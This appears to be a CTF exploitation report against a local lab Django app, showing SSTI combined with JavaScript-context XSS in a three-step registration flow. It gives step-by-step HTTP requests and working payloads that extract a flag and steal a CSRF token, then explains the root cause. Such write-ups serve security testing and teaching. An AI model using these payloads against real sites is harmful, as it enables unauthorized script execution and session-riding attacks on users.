# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: SSTI-Enabled JavaScript Context XSS in Registration Flow

**Summary:**
- **Vulnerable location:** `http://localhost:46795/accounts/register/step3/` (via session data from step 1)
- **Overview:** Server-Side Template Injection (SSTI) combined with JavaScript context XSS allows arbitrary JavaScript execution and direct flag extraction via Django template syntax injection
- **Impact:** **CRITICAL** - CTF flag captured, CSRF token theft enabling session riding attacks, potential for credential harvesting and unauthorized actions
- **Severity:** Critical

**Prerequisites:**
None - This vulnerability is exploitable without authentication

**Exploitation Steps:**

**METHOD 1: Flag Extraction via SSTI (HIGHEST IMPACT)**

1. Navigate to the registration start page:
```
URL: http://localhost:46795/accounts/register/step1/
Method: GET
```

2. Submit the registration form with Django template syntax to extract the flag:
```
URL: http://localhost:46795/accounts/register/step1/
Method: POST
Headers:
  Content-Type: application/x-www-form-urlencoded
Body:
  name={{ flag }}
  password=TestPass123456
  csrfmiddlewaretoken=[CSRF_TOKEN_FROM_FORM]
```

3. Complete step 2 with any valid email:
```
URL: http://localhost:46795/accounts/register/step2/
Method: POST
Headers:
  Content-Type: application/x-www-form-urlencoded
  Cookie: sessionid=[SESSION_COOKIE]
Body:
  email=test@example.com
  csrfmiddlewaretoken=[CSRF_TOKEN_FROM_FORM]
```

4. Access step 3 where the payload executes:
```
URL: http://localhost:46795/accounts/register/step3/
Method: GET
Headers:
  Cookie: sessionid=[SESSION_COOKIE]
```

**Proof of Impact:**
The Django template injection causes the flag value to be rendered in the JavaScript context. A browser alert displays:
```
"Hello flag{98d2361b-f883-4daa-93f7-cb5c91a32c69}. Just Now up to 50% OFF "
```

**Captured Flag:** `flag{98d2361b-f883-4daa-93f7-cb5c91a32c69}`

---

**METHOD 2: CSRF Token Theft via XSS**

1. Navigate to the registration start page:
```
URL: http://localhost:46795/accounts/register/step1/
Method: GET
```

2. Submit the registration form with XSS payload to break out of JavaScript string context:
```
URL: http://localhost:46795/accounts/register/step1/
Method: POST
Headers:
  Content-Type: application/x-www-form-urlencoded
Body:
  name=\");alert(document.querySelector('[name=csrfmiddlewaretoken]').value);alert(\"
  password=TestPass901234
  csrfmiddlewaretoken=[CSRF_TOKEN_FROM_FORM]
```

3. Complete step 2 with any valid email:
```
URL: http://localhost:46795/accounts/register/step2/
Method: POST
Headers:
  Content-Type: application/x-www-form-urlencoded
  Cookie: sessionid=[SESSION_COOKIE]
Body:
  email=test6@example.com
  csrfmiddlewaretoken=[CSRF_TOKEN_FROM_FORM]
```

4. Access step 3 where the XSS payload executes:
```
URL: http://localhost:46795/accounts/register/step3/
Method: GET
Headers:
  Cookie: sessionid=[SESSION_COOKIE]
```

**Proof of Impact:**
The XSS payload successfully breaks out of the JavaScript string context and executes arbitrary JavaScript. The injected script extracts and displays the CSRF token, which can be used to perform authenticated actions on behalf of the victim.

**Extracted CSRF Token Example:** `CtA62B5kwg2e8YsFIsvLOfAUwkNs6v71gaSo5LSimDgJNjzTv6kgnRU9b5vff6Ng`

The complete injected JavaScript that executes in the browser:
```javascript
alert("Hello ");alert(document.querySelector('[name=csrfmiddlewaretoken]').value);alert(". Just Now up to 50% OFF ")
```

---

**METHOD 3: Basic JavaScript Execution Confirmation**

1. Navigate to registration step 1 and submit with simple XSS payload:
```
URL: http://localhost:46795/accounts/register/step1/
Method: POST
Body:
  name=\". alert(1)//
  password=Password123456
  csrfmiddlewaretoken=[CSRF_TOKEN_FROM_FORM]
```

2. Complete step 2 and access step 3 - JavaScript alert(1) executes confirming arbitrary script execution.

---

**Technical Details:**

**Vulnerability Root Cause:**
The application uses Server-Side Template Injection (SSTI) at `/accounts/register/step3/` where user-controlled input from the registration name field flows through:
1. Form input → Django session storage (unvalidated)
2. Session data → Python string replacement: `template_str.replace('ACCOUNTNAME', request.session['name'])`
3. Modified string → Django template compilation: `engine.from_string(template_str)`
4. Template rendering → JavaScript context in `<script>alert("Hello ACCOUNTNAME...")</script>`

**Data Flow:**
```
POST /accounts/register/step1/ 
  → form.cleaned_data['name'] 
  → request.session['name'] 
  → register_step3 view reads session 
  → template_str.replace('ACCOUNTNAME', request.session['name'])
  → engine.from_string(template_str)
  → JavaScript <script> tag context
  → Arbitrary JavaScript execution
```

**Why This Works:**
1. No input sanitization on the name field for template syntax or JavaScript special characters
2. String replacement occurs BEFORE template compilation, making user input part of the template syntax (not template data)
3. Django's auto-escaping is bypassed because the injection happens at the template source level via `engine.from_string()`
4. No Content Security Policy (CSP) headers to restrict inline script execution
5. The JavaScript context requires escaping from a string literal, achieved with `\"`

**Additional Impact Demonstrated:**
- **Flag Capture:** CTF flag successfully extracted using `{{ flag }}` template syntax
- **CSRF Token Theft:** CSRF tokens extracted via JavaScript DOM access
- **Session Riding:** With CSRF tokens, attackers can perform authenticated actions as the victim
- **Credential Harvesting:** Could inject fake login forms to steal credentials
- **Page Defacement:** Full control over page rendering and behavior

**Notes:**
- Session cookie has HttpOnly flag, preventing direct `document.cookie` theft
- However, CSRF token is accessible via JavaScript and can be used for session riding attacks
- No CSP headers present, allowing unrestricted inline script execution
- The vulnerability persists throughout the session lifetime (2 weeks default)
- Multiple payload variations work due to the fundamental SSTI+XSS combination